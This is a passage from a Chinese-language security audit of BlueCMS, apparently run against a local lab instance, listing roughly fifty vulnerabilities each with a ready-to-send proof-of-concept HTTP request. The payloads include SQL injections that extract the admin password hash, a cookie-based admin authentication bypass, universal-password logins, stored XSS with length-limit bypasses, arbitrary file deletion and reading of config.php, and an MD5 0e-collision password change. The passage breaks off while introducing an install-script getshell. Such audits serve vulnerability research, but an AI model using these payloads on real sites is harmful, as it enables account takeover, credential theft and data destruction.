Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYWN9eleFaElUxotA
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/user.php?act=my_info
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d72b7nfl8kd8l90l6t08vqev64; detail=4
Connection: keep-alive
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="face_pic1"
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="face_pic2"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="birthday"
1964-01-01
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="sex"
0
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="email"
<script>alert()</script>
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="msn"
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="qq"
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="office_phone"
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="home_phone"
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="mobile_phone"
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="address"
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="act"
edit_user_info
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="submit"
È·ÈÏÐÞ¸Ä
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="face_pic3"
------WebKitFormBoundaryYWN9eleFaElUxotA--
后台管理员查看会员列表时将会弹窗
26. 编辑个人资料功能(edit_user_info) 多个参数存在 Sql注入漏洞
代码图就不贴了,可以直接分析上一个代码截图,在最后使用了 updata 语句直接带入到数据库中执行即可,这里需要警惕一下,在实战中千万不要这样定义poc,我先来个错误示范 ,以下 poc 执行之后,会将admin账号密码填入 msn 字段中
钟', msn = (select concat(admin_name,0x7e,pwd) from blue_admin)#
但是从后台用户列表中就可以看到,我们将所有用户的信息全修改了,主要的原因是我们使用 # 号闭合后面的语句后,并没有加上 where 条件,update语句会更新表中所有记录的信息
首先,在你知道你自己的用户id的情况下使用 where 加上自己的用户id,如果不知道的话,可以根据报错语句进行判断。实战中遇到的话也是如此,一定要选上 where 条件,尽量不要破坏用户数据
中', msn = (select concat(pwd) from blue_admin) where user_id = 2#
27. 修改密码功能(do_edit_pwd) 存在 MD5 碰撞漏洞
MD5 碰撞是一个很经典的 ctf 题,今天有幸能在这套源码中碰到。
分析代码,我们输入旧的密码会和 user_id 一同传入check_user
函数中
Sql 会以 user_id 作为查询条件,获取该用户的密码,然后会将我们输入的旧密码做比较。我们都知道php是弱类型语言,字符串之间比较如果不用全等的话可能会出现问题。
PHP 弱类型语言的逻辑对比我就不再阐述,感兴趣的可以直接网上,我这里直接上一些关于md5碰撞的代码来解释。
以下代码一个是字符串,一个是数字,两个去进行比较时,会视为 true。
首先 0e 开头的这类字符串会转换成科学记数法,E代表次方,那么0的多少次方都是 0,所以当这两个数去对比时结果会为 true
<?php
var_dump("0e81"==0); //true
var_dump("0e11"=="0e2"); //true
那么就可以根据这个规律,找两个md5值不相等,但是md5加密出来的值都是 0e 开头的字符串去做对比
QNKCDZO—0e830400451993494058024219903391
s214587387a—0e848240448830537924465865611904
结果为 true
<?php
var_dump(md5("QNKCDZO")==md5("s214587387a")); //true
回到 BlueCms ,我们假设一个场景:当我们利用 XSS 漏洞获取到普通用户的 Cookie 后,而我们想改他的密码,而他密码好刚 md5 的值是 0e 开头的,那么这个漏洞条件就可以成立。
好巧不巧,我的数据库里刚好有个用户的密码 md5 值为0x开头的,但我不知道明文[旺柴]
获取到用户 COOKIE 后,进入修改密码功能,填上 QNKCDZO
密码修改成功
原因还是 if(md5($pwd)==$user['pwd']) return true;
这段逻辑代码,我们输入的旧密码值和取出来的密码值做比较时,两个都是0e开头的md5进行对比,那么就会产生md5碰撞漏洞。当然实战中我也没碰到过这类漏洞,这里主要以了解漏洞的本质为目的去进行代码分析。
28. 修改密码功能(do_edit_pwd) 存在 Sql 注入漏洞
代码分析,匹配成功旧密码之后,就会将新密码与user_id
带入edit_pwd()
函数中执行
找到函数声明处,可以看到 $pwd
未过滤直接拼接在 Sql 语句上
update 注入我们的思路还是和之前一样,只要闭合了md5('')
之后,将admin的密码插入到 email 中显示出来即可,语句大概如下:
upload blue_user set pwd=md5('%df') email=(select pwd from blue_admin) where user_id=2;
poc
POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 210
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/user.php?act=edit_pwd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d72b7nfl8kd8l90l6t08vqev64; detail=4
Connection: keep-alive
old_pwd=123123&new_pwd=123123中'),email=(select pwd from blue_admin) where user_id=2#&confirm_pwd=123123中'),email=(select pwd from blue_admin) where user_id=2#&act=do_edit_pwd&submit=%C8%B7%C8%CF%D0%DE%B8%C4
回去个人信息查看邮箱
29. 首页登录功能(index_login) Sql 注入漏洞
继续往下看 863 行, user_name,pwd 参数均未过滤直接带入到 Sql 语句中查询
拼接参数,sqlmap直接一把梭
POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 46
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/user.php?act=edit_pwd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d72b7nfl8kd8l90l6t08vqev64; detail=4
Connection: keep-alive
act=index_login&user_name=%df'*%23&pwd=1
当然,密码功能还是存在万能密码,这里就不再进行代码分析了
30. 检查余额功能(check_price) type、service 参数 Sql 注入
type及service 均未过滤,测试哪个参数都行,只不过需要通过一下中间的一个正则匹配 '/^[1-9][0-9]*$/'
POST /user.php?exp=12&type=%df'*%23 HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 15
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/user.php?act=edit_pwd
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d72b7nfl8kd8l90l6t08vqev64; detail=4
Connection: keep-alive
act=check_price
管理后台文件分析
防御代码
先从 index.php
文件开始看,刚开始也是先加载 admin/include
目录下的 common.inc.php
common.inc.php
文件不能直接访问,需要类似于 index.php
文件先设置 IN_BLUE
常量 为true,然后在包含common.inc.php
文件进行加载
防御代码还是一如既往的 deep_addslashes
函数
最后是底部的鉴权代码
- 如果 session admin_id 等于空,且 act 不等于
login\do_login\logout
,则进入true判断 - 如果 $_COOKIE 中
admin_id\admin_name\admin_pwd
都不存在的话,直接跳到login页面进行登录
31. common.inc.php Cookie 参数存在Sql注入漏洞
众所周知,Cookie 都是能自己设置的,也就是说设置了 $_COOKIE['Blue']['admin_id']、$_COOKIE['Blue']['admin_name']、 $_COOKIE['Blue']['admin_pwd']
这三个变量,就能进入if判断。
而 if 判断调用了 check_cookie
函数,找到声明处,映入眼帘的就是一个Sql注入漏洞
构造 poc ,显示报错信息
老样子,sqlmap一把梭
GET /admin/index.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1*;Blue[admin_pwd]=1
Connection: keep-alive
32. common.inc.php 存在鉴权绕过漏洞,可直接进入后台
继续分析 check_cookie
函数,当传入的 $pwd 与Sql取出来的 pwd + $_CFG[‘cookie_hash’] 做对比,如果相等就为 True ,否则 false.
我们当前肯定不知道 $_CFG[‘cookie_hash’] 的值,一定会为false。
但是return的值为 false 的时候,就没有做任何判断了。
直接开启问号模式
那么我们只要让 Cookie 的值都存在,即可进入后台
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
这里的话应该加个 else 判断,但是还是
33. Login.php 登录功能(do_login) 万能密码漏洞
首先一样加载了 common.inc.php
文件,那就存在 Cookie 鉴权问题及 Sql 注入 漏洞,往后就不在阐述
往下看 $act = do_login
判断, admin_name
和admin_pass
做了去空判断,不为空的情况下,调用了check_admin
函数进入 if 判断
找到声明处,将账号密码带入到 Sql 语句中查询,如果查询的记录不等于 0 那么就 return true
如果return true,那么久步入下一行代码,将 $admin_name
作为参数放入update_admin_info()函数
中调用
查看了一下 update_admin_info()函数
,只是将表中查询出来的信息赋值到 Session 上,以及更新了登录的时间。
那么我们只需要让 check_admin()
等于 true,且赋值了session 信息,即可进入后台
构造poc:
POST /admin/login.php?act=do_login HTTP/1.1
Host: 192.168.1.9:86
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
admin_name=1%df' or 1=1%23&admin_pwd=1
或者 万能密码
POST /admin/login.php?act=do_login HTTP/1.1
Host: 192.168.1.9:86
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
admin_name=admin&admin_pwd=%df') or 1=1%23
刚开始以为 update_admin_info() 函数中 $online_ip 也会像用户前台一样调用 getip()
函数去获取ip
但是加入 xff 之后插入单引号并没有报错,最后debug之后发现 $online_ip 一直为空
admin/include/common.inc.php
中并没有 $online_ip = getip();
变量
只有 include/common.inc.php
调用 getip()
获取ip
34. 添加广告功能 ad.php(do_add) a d n a m e 、 ad_name、 adname、time_set、$content 等多个参数存在 Sql注入漏洞
进入 ad.php 文件,找到 34 行 ,这里我只分析了 ad_name 参数,其他参数大同小异。
ad_name 参数 直接带入到了 Sql 执行。
构造poc,将 admin 的账号密码 插入 $content 字段中
管理后台->模块管理->广告管理->查看刚才添加的内容
后台的 Sql 居多,接下来碰到 Sql 的话就不再过多解释,直接上代码图及poc
35. 修改广告功能 ad.php(edit)$ad_id 存在Sql注入漏洞
poc:
POST /admin/ad.php?ad_id=-1+union+select+1,version(),3,4,5,user(),7%23 HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
act=edit
36. 修改广告功能 ad.php(do_edit) $ad_name 存在Sql注入漏洞
POST /admin/ad.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
act=do_edit&ad_name=%df', time_set = 0, start_time = 0, end_time = 0, content = user(), exp_content = 1 WHERE ad_id = 1%23&ad_id=1
37. 修改广告功能 ad.php(do_add) ad_name 存储型 XSS 漏洞
POST /admin/ad.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
act=do_add&ad_name=<script>alert()</script>
38. 电话广告 /admin/ad_phone.php (doadd)多个参数存在Sql注入漏洞
POST /admin/ad_phone.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
act=doadd&content=%df', user(), 0, 1729526204, 0, 1, 0)%23
40. 电话广告 /admin/ad_phone.php (doadd)多个参数存在存储型Xss漏洞
POST /admin/ad_phone.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
act=doadd&content=<script>alert()</script>
41.电话广告 /admin/ad_phone.php (doedit)多个参数存在存储型 Xss漏洞
POST /admin/ad_phone.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
act=doedit&title=<script>alert(111)</script>&content=1&id=1
42.电话广告 /admin/ad_phone.php (del)id参数 存在Sql注入漏洞
POST /admin/ad_phone.php?id=-1+or+sleep(3) HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
act=del
41. admin/ann.php (do_add) 多个参数存在 Sql 注入漏洞
POST /admin/ann.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
act=do_add&cid=%df', 0, user(), 0, 1, 1, 1)%23&title=1&content=1
43. admin/ann.php (do_add) 多个参数存在 XSS漏洞
POST /admin/ann.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
act=do_add&cid=1&title=<script>alert()</script>&content=1
44. admin/ann.php (do_edit) 多个参数 存在Sql注入漏洞
POST /admin/ann.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
act=do_edit&ann_id=1&title=2%df', color=3, content=user() WHERE ann_id=1%23&color=3&cid=4&content=5
45. admin/ann.php (do_edit) 多个参数 存储型 xss 漏洞
POST /admin/ann.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
act=do_edit&ann_id=1&title=<script>alert()</script>&color=3&cid=4&content=5
46. admin/ann.php (do_add_cat) cat_name Sql注入漏洞
POST /admin/ann.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
act=do_add_cat&cat_name=1%df', 1),(6,user(),1)%23&show_order=1
47.admin/ann.php (do_add_cat) cat_name 存储型XSS漏洞
这里遇到一个有意思的xss,cat_name参数没有 html 实例化直接显示到前端
我们直接插入数据,但数据库长度只有20,字符长度受限
那么换个思路,在第一个payload在javascript中加入多行注释
act=do_add_cat&cat_name=<script>alert()/*&show_order=1
在第二个payload上闭合注释
act=do_add_cat&cat_name=*/</script>&show_order=1
那么就能绕过长度的限制闭合payload
查看前端源代码
48.admin/ann.php (do_edit_cat) cat_name Sql注入漏洞
cat_name 我们闭合之后不能拼接,但是可以直接再次修改 cat_name 字段的值达到显示的效果
act=do_edit_cat&cat_name=1%df',cat_name=user(), show_order=0 WHERE cid=1%23&cid=1
49.admin/arc_cat.php (do_add) 多个参数存在 Sql注入漏洞
act=do_add&cat_name=%df', 0, user(), 0, 0, 0, 0, 0)%23
50.admin/arc_cat.php (do_add) 多个参数存在 存储型Xss漏洞
POST /admin/arc_cat.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
act=do_add&cat_name=<script>alert()</script>
51.admin/arc_cat.php (do_add) 多个参数存在 Sql注入漏洞
POST /admin/arc_cat.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
act=do_edit&cat_name=%df', parent_id = 0, title = version(), keywords = 0, description = 0, cat_indent = 0,show_order = 0 WHERE cat_id =1%23
52.admin/area.php (doadd) area_name参数存在 Sql注入漏洞
POST /admin/area.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
act=doadd&area_name=%df', 0,0,0,0),(6,user(),0,0,0,0)%23
53.admin/area.php (doadd) area_name参数存在 存储型XSS漏洞
这里也是限制了字符长度
POST /admin/area.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
act=doadd&area_name=<script>alert()/*
POST /admin/area.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
act=doadd&area_name=*/</script>
54. admin/article.php (do_edit) lit_pic1 参数存在任意文件删除漏洞
需要满足 $cid ,lit_pic1,lit_pic2参数同时存在,然后就会判断 lit_pic1 提交参数中的文件是否存在,如果存在则直接删除
POST /admin/article.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: PHPSESSID=hko35hjhvatolqcc69htnr4ag4
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoLpwNYleE3E7zmX
Content-Length: 485
------WebKitFormBoundaryfoLpwNYleE3E7zmX
Content-Disposition: form-data; name="act"
do_edit
------WebKitFormBoundaryfoLpwNYleE3E7zmX
Content-Disposition: form-data; name="cid"
1
------WebKitFormBoundaryfoLpwNYleE3E7zmX
Content-Disposition: form-data; name="lit_pic1"
test.php
------WebKitFormBoundaryfoLpwNYleE3E7zmX
Content-Disposition: form-data; name="lit_pic2"; filename="1"
Content-Type: application/octet-stream
1
------WebKitFormBoundaryfoLpwNYleE3E7zmX--
响应该提示无关紧要,说明代码已经走到了后面的判断
55.admin/attachment.php (doadd) 多个参数存在Sql注入漏洞
POST /admin/attachment.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
act=doadd&att_name=1%df', 0, 0, 0, 0, 0),(7, 1, user(), 0, 0, 0, 0, 0)%23&modelid=1
56.admin/attachment.php (doedit) att_name 参数存在存储型XSS漏洞
POST /admin/attachment.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
act=doedit&att_name=<script>alert(111)</script>&modelid=1
57.admin/card.php (do_add) name 参数存在Sql注入漏洞
POST /admin/card.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
act=do_add&name=1%df', 1, 1, 0),(6,user(),1,1,0)%23&value=1&price=1
58.admin/card.php (do_add) name 参数 存储型xss漏洞 (字符长度绕过)
刚开始想着直接拼接参数直接插入xss代码即可,数据库也有足够的长度去存储
但没想到前端乱码了,切字符显示不全
查看前端代码,发现限制了10个字符
绕过方法,总共发送3条xss代码,第一条发送script 标签头 第二条alert弹窗 第三条闭合scrpit
POST /admin/card.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
act=do_add&name=<script>/*&value=1&price=1
act=do_add&name=*/alert()/*&value=1&price=1
act=do_add&name=*/</script>&value=1&price=1
59. 数据库备份文件 未授权访问
通过后台进行数据备份后,数据库备份文件未鉴权可直接访问下载,备份文件也是根据时间命名,容易爆破。
60. /admin/database.php del file_name 参数 任意文件删除漏洞
GET /admin/database.php?act=del&file_name=../../test.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
61.admin/flash.php (do_add) image_link 参数 存储型Sql注入漏洞
POST /admin/flash.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 413
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8Jf5pvcuUTA604fW
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/admin/article.php?act=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_link"
1中',0),(8,user(),0,0)#
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="act"
do_add
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_path"; filename="images.jpg"
Content-Type: image/jpeg
123123
------WebKitFormBoundary8Jf5pvcuUTA604fW--
62.admin/flash.php (do_add) image_link 参数 存储型XSS漏洞
POST /admin/flash.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 413
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8Jf5pvcuUTA604fW
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/admin/article.php?act=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_link"
<script>alert()</script>
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="act"
do_add
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_path"; filename="images.jpg"
Content-Type: image/jpeg
123123
------WebKitFormBoundary8Jf5pvcuUTA604fW--
63.admin/flash.php (del) 任意文件删除漏洞 (突破 intval 限制)
代码很好理解,其实就是 Get 传 image_id 然后强转 int 之后带入到数据库中查询,将 image_path 取出来的参数当做文件进行删除。
那么怎么这样一来 只要我能控制数据库查询出来的 $flash[‘image_path’] 参数,那岂不是就能达到任意文件删除的效果了?
前面我们提到,(漏洞61)该文件存在一个insert Sql注入漏洞,那么只要我们在插入数据的时候,将数据库字段中的 image_path 字段设置成我们想要删除的文件即可.由于 addslashes 函数进行字符串转译原因我们没法直接将字符串直接传输进去,那么还是一样转换成 hex 编码.
0x746573742e706870 = test.php
POST /admin/flash.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 426
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8Jf5pvcuUTA604fW
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/admin/article.php?act=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_link"
1中',0),(12,0x746573742e706870,0,0)#
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="act"
do_add
------WebKitFormBoundary8Jf5pvcuUTA604fW
Content-Disposition: form-data; name="image_path"; filename="images.jpg"
Content-Type: image/jpeg
123123
------WebKitFormBoundary8Jf5pvcuUTA604fW--
插入的 image_id 为 12
删除文件 poc
64.admin/info.php id 参数任意文件删除漏洞
GET /admin/info.php?act=del_pic&id=test.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
65. admin/ipbanned.php ip 参数Sql注入漏洞
sqlmap -r test.txt --dbms="Mysql"
POST /admin/ipbanned.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
act=do_add&ip=%df'*%23
66. admin/link.php(do_add) 多个参数 Sql注入漏洞
POST /admin/link.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
act=do_add&link_name=%df',user(),0,0)%23
67. admin/link.php(do_add) 多个参数 存储型xss漏洞
POST /admin/link.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
act=do_add&link_name=<script>alert()</script>
68.admin/link.php(do_edit) link_logo2参数 任意文件删除漏洞
POST /admin/link.php HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
act=do_edit&link_logo2=test.php
69.admin/link.php (del) 任意文件删除漏洞 (突破 intval 限制)
跟漏洞 63 原理一致。
先插入数据
POST /admin/link.php HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
act=do_add&link_name=%df',0,0x746573742e706870,0)%23
然后再根据linkid删除文件
GET /admin/link.php?act=del&linkid=4 HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
69.admin/nav (edit) navid 参数存在 Sql注入漏洞
/admin/nav.php?act=edit&navid=1+and+sleep(3)
70.admin/tpl_manage.php (edit) tpl_name 参数存在任意文件读取漏洞
这里使用 fopen 函数 ,打开 tpl_name 传输进来的参数,如果文件打开成功,则使用fread函数进行文件内容读取,经过html格式化之后,传输到$tpl中,最后使用 $smarty 渲染到前端 tpl_info.htm 文件。
tpl_info.htm
poc
GET /admin/tpl_manage.php?tpl_name=../../data/config.php&act=edit HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
71.install/index.php 任意文件读取漏洞+绕过addslashes文件内容写入Getshell
一直想找一个任意文件读取漏洞,然后在去说这个漏洞,因为 install/index.php
需要能读到数据库账号密码才能去写入文件,所以拿在任意文件读取漏洞后面讲。
代码分析:
- 需要填写所需的参数信息,不能为空
- 数据库需要连接成功
- 写入配置文件
如果数据库连接不成功,则不会进入 fopen 函数,所以这里我才拿到任意文件读取漏洞后面讲,首先我们从上一个漏洞获取到数据库账号密码后,拼接信息,进行poc构造,刚开始想利用%df绕过双引号,但是实际是闭合不了的,因为 %df%27 是通过浏览器带入到数据库中,重新进行 GBK 编码之后才能闭合的单双引号
那么我们就需要在双引号中执行代码,首先来看一下双引号在php中的特点
https://www.php.net/manual/zh/language.types.string.php#language.types.string.parsing
